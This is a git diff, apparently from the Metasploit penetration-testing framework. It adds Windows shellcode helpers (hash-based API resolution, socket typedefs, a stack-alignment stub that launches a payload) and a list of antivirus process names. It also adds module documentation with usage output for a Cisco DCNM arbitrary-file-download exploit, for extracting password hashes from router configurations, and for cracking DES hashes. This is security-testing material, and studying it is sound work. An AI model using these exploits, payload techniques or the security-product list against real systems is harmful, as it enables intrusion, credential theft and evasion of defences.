+				dwModuleHash += *pTempChar - 0x20;
+			}
+			else
+			{
+				dwModuleHash += *pTempChar;
+			}
+		}
+
+		pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);
+
+		dwNumFunctions = pExportDir->NumberOfNames;
+		pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames);
+
+		for (i = 0; i < dwNumFunctions; i++)
+		{
+			dwFunctionHash = 0;
+			pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);
+			pdwFunctionNameBase++;
+
+			pTempChar = pFunctionName;
+
+			do
+			{
+				dwFunctionHash = ROTR32( dwFunctionHash, 13 );
+				dwFunctionHash += *pTempChar;
+				pTempChar++;
+			} while (*(pTempChar - 1) != 0);
+
+			dwFunctionHash += dwModuleHash;
+
+			if (dwFunctionHash == dwModuleFunctionHash)
+			{
+				usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
+				return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
+			}
+		}
+	}
+
+	// All modules have been exhausted and the function was not found.
+	return NULL;
+}
+
+#endif
@@ -0,0 +1,64 @@
+#ifndef _WINSOCK_UTIL
+#define _WINSOCK_UTIL
+
+#define WIN32_LEAN_AND_MEAN
+
+#include <windows.h>
+#include <winsock2.h>
+#include <intrin.h>
+#include <ws2tcpip.h>
+
+typedef int (WINAPI *FuncWSAStartup)
+(
+  WORD wVersionRequired,
+  LPWSADATA lpWSAData
+);
+
+typedef int (WINAPI *FuncWSACleanup) ();
+
+typedef int (WINAPI *FuncGetAddrInfo)
+(
+  PCSTR pNodeName,
+  PCSTR pServiceName,
+  const ADDRINFO *pHints,
+  LPADDRINFO *ppResult
+);
+
+typedef void (WINAPI *FuncFreeAddrInfo)
+(
+  LPADDRINFO pAddrInfo
+);
+
+typedef SOCKET (WINAPI *FuncWSASocketA) (
+	int af,
+	int type,
+	int protocol,
+	LPWSAPROTOCOL_INFO lpProtocolInfo,
+	GROUP g,
+	DWORD dwFlags
+);
+
+typedef int (WINAPI *FuncConnect)
+(
+  SOCKET s,
+  const struct sockaddr *name,
+  int namelen
+);
+
+typedef int (WINAPI *FuncSend)
+(
+  SOCKET s,
+  const char *buf,
+  int len,
+  int flags
+);
+
+typedef int (WINAPI *FuncRecv)
+(
+  SOCKET s,
+  char *buf,
+  int len,
+  int flags
+);
+
+#endif
@@ -0,0 +1,33 @@
+                                              `:oDFo:`                            
+                                           ./ymM0dayMmy/.                          
+                                        -+dHJ5aGFyZGVyIQ==+-                    
+                                    `:sm⏣~~Destroy.No.Data~~s:`                
+                                 -+h2~~Maintain.No.Persistence~~h+-              
+                             `:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:`          
+                          ./etc/shadow.0days-Data'%20OR%201=1--.No.0MN8'/.      
+                       -++SecKCoin++e.AMd`       `.-://///+hbove.913.ElsMNh+-    
+                      -~/.ssh/id_rsa.Des-                  `htN01UserWroteMe!-  
+                      :dopeAW.No<nano>o                     :is:TЯiKC.sudo-.A:  
+                      :we're.all.alike'`                     The.PFYroy.No.D7:  
+                      :PLACEDRINKHERE!:                      yxp_cmdshell.Ab0:    
+                      :msf>exploit -j.                       :Ns.BOB&ALICEes7:    
+                      :---srwxrwx:-.`                        `MS146.52.No.Per:    
+                      :<script>.Ac816/                        sENbove3101.404:    
+                      :NT_AUTHORITY.Do                        `T:/shSYSTEM-.N:    
+                      :09.14.2011.raid                       /STFU|wall.No.Pr:    
+                      :hvensntSurb025N.                      dNVRGOING2GIVUUP:    
+                      :#OUTHOUSE-  -s:                       /corykennedyData:    
+                      :$nmap -oS                              SSo.6178306Ence:    
+                      :Awsm.da:                            /shMTl#beats3o.No.:    
+                      :Ring0:                             `dDestRoyREXKC3ta/M:    
+                      :23d:                               sSETEC.ASTRONOMYist:    
+                       /-                        /yo-    .ence.N:(){ :|: & };:    
+                                                 `:Shall.We.Play.A.Game?tron/    
+                                                 ```-ooy.if1ghtf0r+ehUser5`    
+                                               ..th3.H1V3.U2VjRFNN.jMh+.`          
+                                              `MjM~~WE.ARE.se~~MMjMs              
+                                               +~KANSAS.CITY's~-`                  
+                                                J~HAKCERS~./.`                    
+                                                .esc:wq!:`                        
+                                                 +++ATH`                            
+                                                  `
@@ -0,0 +1,22 @@
+%clr                                   ___          ____
+                               ,-""   `.%yel      %whi< HONK >
+                             ,'  _   e %yel)`-._%whi /  ----
+                            /  ,' `-._%yel<.===-'%whi
+                           /  /
+                          /  ;
+              _          /   ;
+ (`._    _.-"" ""--..__,'    |
+ <_  `-""                     \
+  <`-                          :
+   (__   <__.                  ;
+     `-.   '-.__.      _.'    /
+        \      `-.__,-'    _,'
+         `._    ,    /__,-'
+            ""._\__,'%yel< <____%whi
+                 %yel| |  `----.`.
+%whi                 %yel| |        \ `.
+%whi                 %yel; |___      \-``
+%whi                 %yel\   --<
+%whi                  %yel`.`.<
+%whi                    %yel`-'
+%whi
@@ -31,7 +31,7 @@ Stack: 90909090990909090990909090
       ffffffff..................
 %clr

-%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00%clr
+%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00%clr
 Aiee, Killing Interrupt handler
 %redKernel panic: Attempted to kill the idle task!
 In swapper task - not syncing%clr
@@ -25,5 +25,5 @@ msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.1/24
 Example 3:

 ```
-msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:///tmp/ip_list.txt
+msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:/tmp/ip_list.txt
 ```
@@ -0,0 +1,58 @@
+use_bpm 130
+use_synth_defaults sustain: 0
+
+live_loop :drums do
+  sample :drum_heavy_kick, amp: 2
+  sleep 1
+  sample :drum_snare_hard
+  sleep 1
+end
+
+live_loop :hi_hat do
+  sample :drum_cymbal_closed, amp: 0.5
+  sleep 0.5
+end
+
+live_loop :bass do
+  use_synth :pluck
+
+  notes = %i[
+    Eb3  Eb3  Eb3
+    B2   B2   B2
+    Fs2  Fs2  Fs2
+    As2  As2  As2  As2
+  ]
+
+  beats = %w[
+    2.0  1.0  1.0
+    2.0  1.0  1.0
+    2.0  1.0  1.0
+    1.5  1.0  0.5  1.0
+  ].map(&:to_f)
+
+  with_fx :reverb do
+    play_pattern_timed notes, beats
+  end
+end
+
+live_loop :lead do
+  use_synth :piano
+
+  notes = %i[
+    As4   As4   As4   As4   Gs4   As4   As4
+    As4   As4   As4   Gs4   As4   As4
+    Db5   As4   Gs4   Fs4
+    Eb4   Eb4   F4    Fs4   Eb4
+  ]
+
+  beats = %w[
+    2.00  0.50  0.25  0.25  0.25  0.75  2.00
+    0.50  0.25  0.25  0.25  0.75  1.50
+    1.00  1.00  1.00  1.00
+    0.50  0.50  0.50  0.50  0.50
+  ].map(&:to_f)
+
+  with_fx :reverb do
+    play_pattern_timed notes, beats
+  end
+end
@@ -0,0 +1,48 @@
+/*
+ * This code is provided under the 3-clause BSD license below.
+ * ***********************************************************
+ *
+ * Copyright (c) 2013, Matthew Graeber
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ *   Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ *   Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ *   The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+; Author:       Matthew Graeber (@mattifestation)
+; License:      BSD 3-Clause
+; Syntax:       MASM
+; Build Syntax: ml64 /c /Cx AdjustStack.asm
+; Output:       AdjustStack.obj
+; Notes: I really wanted to avoid having this external dependency but I couldnt
+; come up with any other way to guarantee 16-byte stack alignment in 64-bit
+; shellcode written in C.
+
+extern	ExecutePayload
+global  AlignRSP			; Marking AlignRSP as PUBLIC allows for the function
+							; to be called as an extern in our C code.
+
+segment .text
+
+; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
+; to calling the entry point of the payload. This is necessary because 64-bit functions
+; in Windows assume that they were called with 16-byte stack alignment. When amd64
+; shellcode is executed, you cant be assured that you stack is 16-byte aligned. For example,
+; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
+; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
+; alignment.
+
+AlignRSP:
+	push	rsi						; Preserve RSI since were stomping on it
+	mov		rsi, rsp				; Save the value of RSP so it can be restored
+	and		rsp, 0FFFFFFFFFFFFFFF0h	; Align RSP to 16 bytes
+	sub		rsp, 020h				; Allocate homing space for ExecutePayload
+	call	ExecutePayload			; Call the entry point of the payload
+	mov		rsp, rsi				; Restore the original value of RSP
+	pop		rsi						; Restore RSI
+	ret								; Return to caller
@@ -0,0 +1,9 @@
+ENTRY(_ExecutePayload)
+SECTIONS
+{
+	.text :
+	{
+		*(.text.ExecutePayload)
+	}
+
+}
@@ -0,0 +1,11 @@
+ENTRY(AlignRSP)
+SECTIONS
+{
+	.text :
+	{
+    *(.text.AlignRSP)
+		*(.text.ExecutePayload)
+		*(.text.GetProcAddressWithHash)
+	}
+
+}
@@ -1,3 +1,12 @@
+AlMon.exe 
+SAVAdminService.exe 
+SavService.exe 
+SNTPService.exe 
+swc_service.exe 
+swi_fc.exe
+swi_filter.exe
+swi_service.exe 
+swi_fc.exe  
 emet_agent.exe
 emet_service.exe
 firesvc.exe
@@ -0,0 +1,50 @@
+## General Notes
+
+This module imports a Brocade configuration file into the database.
+This is similar to `post/brocade/gather/enum_brocade` only access isn't required,
+and assumes you already have the file.
+
+Example files for import can be found on git, like [this](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf).
+
+## Verification Steps
+
+1. Have a Brocade configuration file
+2. Start `msfconsole`
+3. `use auxiliary/admin/brocade/brocade_config`
+4. `set RHOST x.x.x.x`
+5. `set CONFIG /tmp/file.config`
+6. `run`
+
+## Options
+
+  **RHOST**
+
+  Needed for setting services and items to.  This is relatively arbitrary.
+
+  **CONFIG**
+
+  File path to the configuration file.
+
+## Scenarios
+
+```
+msf5 > wget https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf -o /dev/null -O /tmp/brocade.conf
+msf5 > use auxiliary/admin/brocade/brocade_config
+msf5 auxiliary(admin/brocade/brocade_config) > set rhosts 127.0.0.1
+rhosts => 127.0.0.1
+msf5 auxiliary(admin/brocade/brocade_config) > set config /tmp/brocade.conf
+config => /tmp/brocade.conf
+msf5 auxiliary(admin/brocade/brocade_config) > run
+[*] Running module against 127.0.0.1
+
+[*] Importing config
+[+] password-display is enabled, hashes will be displayed in config
+[+] enable password hash $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm.
+[+] User brocade of type 8 found with password hash $1$f/uxhovU$dST5lNskZCPQe/5QijULi0.
+[+] ENCRYPTED SNMP community $MlVzZCFAbg== with permissions ro
+[+] ENCRYPTED SNMP community $U2kyXj1k with permissions rw
+[+] Config import successful
+[*] Auxiliary module execution completed
+```
+
+
@@ -0,0 +1,51 @@
+## General Notes
+
+This module imports a Cisco configuration file into the database.
+This is similar to `post/cisco/gather/enum_cisco` only access isn't required,
+and assumes you already have the file.
+
+Example files for import can be found on git, like [this](https://raw.githubusercontent.com/GaetanLongree/MASI-ProjetAvanceReseau/3cf1d9a93828d5f44ee1bc4e4c01411e416892c5/Los%20Angeles/LA_EDGE_D.txt)
+or from [Cisco](https://www.cisco.com/en/US/docs/routers/access/800/850/software/configuration/guide/sampconf.html).
+
+## Verification Steps
+
+1. Have a Cisco configuration file
+2. Start `msfconsole`
+3. `use auxiliary/admin/cisco/cisco_config`
+4. `set RHOST x.x.x.x`
+5. `set CONFIG /tmp/file.config`
+6. `run`
+
+## Options
+
+  **RHOST**
+
+  Needed for setting services and items to.  This is relatively arbitrary.
+
+  **CONFIG**
+
+  File path to the configuration file.
+
+## Scenarios
+
+```
+root@metasploit-dev:~/metasploit-framework# wget https://raw.githubusercontent.com/GaetanLongree/MASI-ProjetAvanceReseau/3cf1d9a93828d5f44ee1bc4e4c01411e416892c5/Los%20Angeles/LA_EDGE_D.txt -O /tmp/LA_EDGE_D.txt -o /dev/null
+
+root@metasploit-dev:~/metasploit-framework# ./msfconsole 
+
+[*] Starting persistent handler(s)...
+msf5 > use auxiliary/admin/cisco/cisco_config 
+msf5 auxiliary(admin/cisco/cisco_config) > set config /tmp/LA_EDGE_D.txt
+config => /tmp/LA_EDGE_D.txt
+msf5 auxiliary(admin/cisco/cisco_config) > set rhost 127.0.0.1
+rhost => 127.0.0.1
+msf5 auxiliary(admin/cisco/cisco_config) > run
+[*] Running module against 127.0.0.1
+
+[*] Importing config
+[+] 127.0.0.1:22 MD5 Encrypted Enable Password: $1$mERr$DWwx4W/5HXD2oail62IeB1
+[+] 127.0.0.1:22 Username 'Waldo' with MD5 Encrypted Password: $1$mERr$DWwx4W/5HXD2oail62IeB1
+[+] Config import successful
+[*] Auxiliary module execution completed
+```
+
@@ -0,0 +1,42 @@
+## Introduction
+
+Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet.
+An authenticated user can abuse this servlet to download arbitrary files as root by specifying
+the full path of the file (aka CVE-2019-1621).
+
+This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
+work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
+(see References to understand why), on the other versions it abuses CVE-2019-1619 to bypass authentication.
+
+
+## Author and discoverer
+
+Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
+
+
+## References
+
+https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
+https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
+https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb
+https://seclists.org/fulldisclosure/2019/Jul/7
+
+
+## Usage
+
+Setup RHOST, pick the file to download (FILENAME, default is /etc/shadow) and enjoy!
+
+```
+msf5 exploit(multi/http/cisco_dcnm_upload_2019) > use auxiliary/admin/cisco/cisco_dcnm_download
+
+msf5 auxiliary(admin/cisco/cisco_dcnm_download) > set rhost 10.75.1.40
+rhost => 10.75.1.40
+msf5 auxiliary(admin/cisco/cisco_dcnm_download) > run
+
+[+] 10.75.1.40:443 - Detected DCNM 10.4(2)
+[*] 10.75.1.40:443 - No authentication required, ready to exploit!
+[+] 10.75.1.40:443 - Got sysTime value 1567081446000
+[+] 10.75.1.40:443 - Successfully authenticated our JSESSIONID cookie
+[+] File saved in: /home/john/.msf4/loot/20190829122407_default_10.75.1.40_ciscoDCNM.http_855907.bin
+[*] Auxiliary module execution completed
+```
@@ -0,0 +1,91 @@
+## General Notes
+
+This module imports a Juniper configuration file into the database.
+This is similar to `post/juniper/gather/enum_juniper` only access isn't required,
+and assumes you already have the file.
+
+Example files for import can be found on git, like [this (junos)](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ex2200.config)
+or [this (screenos)](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ssg5_screenos.conf).
+
+## Verification Steps
+
+1. Have a Juniper configuration file
+2. Start `msfconsole`
+3. `use auxiliary/admin/juniper/juniper_config`
+4. `set RHOST x.x.x.x`
+5. `set CONFIG /tmp/file.config`
+6. `set action junos`
+7. `run`
+
+## Options
+
+  **RHOST**
+
+  Needed for setting services and items to.  This is relatively arbitrary.
+
+  **CONFIG**
+
+  File path to the configuration file.
+
+  **Action**
+
+  `JUNOS` for JunOS config file, and `SCREENOS` for ScreenOS config file.
+
+## Scenarios
+
+### JunOS
+
+```
+root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/juniper_ex2200.config https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ex2200.config
+root@metasploit-dev:~/metasploit-framework# ./msfconsole 
+
+[*] Starting persistent handler(s)...
+msf5 > use auxiliary/admin/juniper/gather/juniper_config
+msf5 auxiliary(admin/juniper/gather/juniper_config) > set config /tmp/juniper_ex2200.config
+config => /tmp/juniper_ex2200.config
+msf5 auxiliary(admin/juniper/gather/juniper_config) > set rhost 127.0.0.1
+rhost => 127.0.0.1
+msf5 auxiliary(admin/juniper/gather/juniper_config) > run
+[*] Running module against 127.0.0.1
+
+[*] Importing config
+[+] root password hash: $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E.
+[+] User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/.
+[+] User 2002 named newuser2 in group operator found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0.
+[+] User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93..
+[+] User 2004 named newuser4 in group unauthorized found with password hash $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/.
+[+] SNMP community read with permissions read-only
+[+] SNMP community public with permissions read-only
+[+] SNMP community private with permissions read-write
+[+] SNMP community secretsauce with permissions read-write
+[+] SNMP community hello there with permissions read-write
+[+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV
+[+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP
+[+] Config import successful
+[*] Auxiliary module execution completed
+```
+
+### ScreenOS
+
+```
+root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/screenos.conf https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ssg5_screenos.conf
+root@metasploit-dev:~/metasploit-framework# ./msfconsole 
+
+[*] Starting persistent handler(s)...
+msf5 > use auxiliary/admin/juniper/gather/juniper_config
+msf5 auxiliary(admin/juniper/gather/juniper_config) > set config /tmp/screenos.conf
+config => /tmp/screenos.conf
+msf5 auxiliary(admin/juniper/gather/juniper_config) > set rhost 127.0.0.1
+rhost => 127.0.0.1
+msf5 auxiliary(admin/juniper/gather/juniper_config) > set action SCREENOS
+action => SCREENOS
+msf5 auxiliary(admin/juniper/gather/juniper_config) > run
+[*] Running module against 127.0.0.1
+
+[*] Importing config
+[+] Admin user netscreen found with password hash nKVUM2rwMUzPcrkG5sWIHdCtqkAibn
+[+] User 1 named testuser found with password hash auth. Enable permission: 02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE=
+[+] Config import successful
+[*] Auxiliary module execution completed
+```
+
@@ -1,10 +1,10 @@
 ## Description

-This (Interesting Data Finder) module will connect to a remote MSSQL server using a given set of credentials and search for rows and columns with “interesting” names. This information can help you fine-tune further attacks against the database.
+This (Interesting Data Finder) module will connect to a remote MSSQL server using a given set of credentials and search for rows and columns with "interesting" names. This information can help you fine-tune further attacks against the database.

 ## Verification Steps

-1. Do: ```use auxiliary/scanner/mssql/mssql_idf```
+1. Do: ```use auxiliary/admin/mssql/mssql_idf```
 2. Do: ```set RHOSTS [IP]```
 3. Do: ```set THREADS [number of threads]```
 4. Do: ```run```
@@ -4,7 +4,7 @@ This module allows you to perform SQL queries against a database using known-goo

 ## Verification Steps

-1. Do: ```use auxiliary/scanner/mssql/mssql_sql```
+1. Do: ```use auxiliary/admin/mssql/mssql_sql```
 2. Do: ```set PASSWORD [password1]```
 3. Do: ```set RHOSTS [IP]```
 4. Do: ```set [SQL Command]```
@@ -1,4 +1,4 @@
-## Intro
+## Introduction

 This module acts as a simple remote control for Belkin Wemo-enabled
 Crock-Pots by implementing a subset of the functionality provided by the
@@ -13,11 +13,10 @@ You may buy the device on Amazon at <https://www.amazon.com/dp/B00IPEO02C/>.
 ## Actions

 ```
-Available actions:
-  Name  Description
-  ----  -----------
-  Cook  Cook stuff
-  Stop  Stop cooking
+Name  Description
+----  -----------
+Cook  Cook stuff
+Stop  Stop cooking
 ```

 ## Options
@@ -0,0 +1,292 @@
+## Vulnerable Application
+
+  This module attempts to use a password cracker to decode AIX 
+  based password hashes, such as:
+
+  * `DES` based passwords
+
+  Formats:
+
+| Common | John     | Hashcat |
+|--------| ---------|---------|
+| des    | descript | 1500    |
+
+  Sources of hashes can be found here:
+  [source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
+
+## Verification Steps
+
+  1. Have at least one user with a `des` password in the database
+  2. Start msfconsole
+  3. Do: ```use auxiliary/analyze/crack_aix```
+  4. Do: set cracker of choice
+  5. Do: ```run```
+  6. You should hopefully crack a password.
+
+## Actions
+
+   **john**
+
+   Use john the ripper (default).
+
+   **hashcat**
+
+   Use hashcat.
+
+## Options
+
+
+   **CONFIG**
+
+   The path to a John config file (JtR option: `--config`).  Default is `metasploit-framework/data/john.conf`
+
+   **CRACKER_PATH**
+
+   The absolute path to the cracker executable.  Default behavior is to search `path`.
+
+   **CUSTOM_WORDLIST**
+
+   The path to an optional custom wordlist.  This file is added to the new wordlist which may include the other
+   `USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
+
+   **DeleteTempFiles**
+
+   This option will prevent deletion of the wordlist and file containing hashes.  This may be useful for
+   running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
+
+   **Fork**
+
+   This option will set how many forks to use on john the ripper.  Default is `1` (no forking).
+
+   **INCREMENTAL**
+
+   Run the cracker in incremental mode.  Default is `true`
+
+   **ITERATION_TIMEOUT**
+
+   The max-run-time for each iteration of cracking
+
+   **KORELOGIC**
+
+   Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
+   Default is `false`.
+
+   **MUTATE**
+
+   Apply common mutations to the Wordlist (SLOW).  Mutations are:
+
+   * `'@' => 'a'`
+   * `'0' => 'o'`
+   * `'3' => 'e'`
+   * `'$' => 's'`
+   * `'7' => 't'`
+   * `'1' => 'l'`
+   * `'5' => 's'`
+
+   Default is `false`.
+
+   **POT**
+
+   The path to a John POT file (JtR option: `--pot`) to use instead.  The `pot` file is the data file which
+   records cracked password hashes.  Kali linux's default location is `/root/.john/john.pot`.
+   Default is `~/.msf4/john.pot`.
+
+   **SHOWCOMMAND**
+
+   Show the command being used run from the command line for debugging.  Default is `false`
+
+   **USE_CREDS**
+
+   Use existing credential data saved in the database.  Default is `true`.
+
+   **USE_DB_INFO**
+
+   Use looted database schema info to seed the wordlist.  This includes the Database Name, each Table Name,
+   and each Column Name.  If the DB is MSSQL, the Instance Name is also used.  Default is `true`.
+
+   **USE_DEFAULT_WORDLIST**
+
+   Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`.  Default is
+   `true`.
+
+   **USE_HOSTNAMES**
+
+   Seed the wordlist with hostnames from the workspace.  Default is `true`.
+
+   **USE_ROOT_WORDS**
+
+   Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`.  Default
+   is true.
+
+   **WORDLIST**
+
+   Run the cracker in dictionary/wordlist mode.  Default is `true`
+
+## Scenarios
+
+### Sample Data
+
+The following is data which can be used to test integration, including adding entries
+to a wordlist and pot file to test various aspects of the cracker.
+
+```
+creds add user:des2_password hash:rEK1ecacw.7.c jtr:des
+creds add user:des_password hash:rEK1ecacw.7.c jtr:des
+creds add user:des_55 hash:rDpJV6xlcXxRM jtr:des
+creds add user:des_pot_55 hash:fakeV6xlcXxRM jtr:des
+creds add user:des_passphrase hash:qiyh4XPJGsOZ2MEAyLkfWqeQ jtr:des
+echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
+echo "test" > /tmp/wordlist
+echo "password" >> /tmp/wordlist
+```
+
+### John the Ripper
+
+We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
+
+```
+resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
+CUSTOM_WORDLIST => /tmp/wordlist
+resource (hashes_hashcat.rb)> setg ShowCommand true
+ShowCommand => true
+resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
+USE_DEFAULT_WORDLIST => false
+resource (hashes_hashcat.rb)> setg DeleteTempFiles false
+DeleteTempFiles => false
+resource (hashes_hashcat.rb)> setg USE_CREDS false
+USE_CREDS => false
+resource (hashes_hashcat.rb)> setg USE_DB_INFO false
+USE_DB_INFO => false
+resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
+USE_HOSTNAMES => false
+resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
+USE_ROOT_WORDS => false
+resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
+ITERATION_TIMEOUT => 60
+resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_aix
+resource (hashes_hashcat.rb)> run
+[+] john Version Detected: 1.9.0-jumbo-1 OMP
+[*] Hashes Written out to /tmp/hashes_tmp20190531-27621-1ucwc3l
+[*] Wordlist file written out to /tmp/jtrtmp20190531-27621-qk76qr
+[*] Checking descrypt hashes already cracked...
+[*] Cracking descrypt hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-27621-qk76qr --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 15:06) 100.0g/s 1103Kp/s 4415Kc/s 4415KC/s test3:::..t1900
+Warning: passwords printed above might be partial and not be all those cracked
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking descrypt hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Proceeding with single, rules:Single
+Press 'q' or Ctrl-C to abort, almost any other key for status
+3g 0:00:00:00 DONE 1/3 (2019-05-31 15:06) 300.0g/s 614200p/s 614400c/s 614400C/s des_pass..Dde_pass
+Warning: passwords printed above might be partial
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking descrypt hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
+Using default input encoding: UTF-8
+[*] Cracking descrypt hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-27621-qk76qr --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username        Cracked Password  Method
+ -----  ---------  --------        ----------------  ------
+ 1250   descrypt   des2_password   password          Single
+ 1251   descrypt   des_password    password          Single
+ 1252   descrypt   des_55          55                Normal
+ 1253   descrypt   des_pot_55      55                Already Cracked/POT
+ 1254   descrypt   des_passphrase  passphrase        Normal
+
+[*] Auxiliary module execution completed
+resource (hashes_hashcat.rb)> creds
+Credentials
+===========
+
+host  origin  service  public          private                   realm  private_type        JtR Format
+----  ------  -------  ------          -------                   -----  ------------        ----------
+                       des2_password   rEK1ecacw.7.c                    Nonreplayable hash  des
+                       des_password    rEK1ecacw.7.c                    Nonreplayable hash  des
+                       des_55          rDpJV6xlcXxRM                    Nonreplayable hash  des
+                       des_pot_55      fakeV6xlcXxRM                    Nonreplayable hash  des
+                       des_passphrase  qiyh4XPJGsOZ2MEAyLkfWqeQ         Nonreplayable hash  des
+                       des_pot_55      55                               Password            
+                       des2_password   password                         Password            
+                       des_password    password                         Password            
+                       des_55          55                               Password            
+                       des_passphrase  passphrase                       Password
+```
+
+### Hashcat
+
+We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
+
+```
